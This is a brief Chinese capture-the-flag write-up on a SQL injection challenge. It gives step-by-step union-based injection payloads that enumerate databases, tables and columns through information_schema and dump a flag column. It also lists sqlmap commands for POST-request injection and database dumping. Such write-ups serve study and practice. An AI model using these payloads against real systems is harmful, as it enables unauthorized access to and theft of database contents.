废话不多说,直接上思路。
**
手工注入:
**
1' //报错,
判断字段:
1' order by 3# //最终我们得到是三个字段,在这里们用--+代替#,竟然报错。
回显字段:
-1' union select 1,2,3#
爆出数据库(两种方法):
-1' union select 1,2,database()#
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
爆出表:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#
错误写法:
-1' union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema='news')#
为什么错误?因为你select的是表,不是后面的整个语句。
爆出列:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='news'#
爆出字段:
-1' union select 1,2,fl4g from secret_table#
**
sqlmap注入
**
在输入框中输入数据肯定不是get型注入,所以是post抓包注入:
sqlmap.py -r 1.txt --dbs
sqlmap.py -r 1.txt -D news --dump
题目比较简单,但是为什么要做?就当复习一下知识点。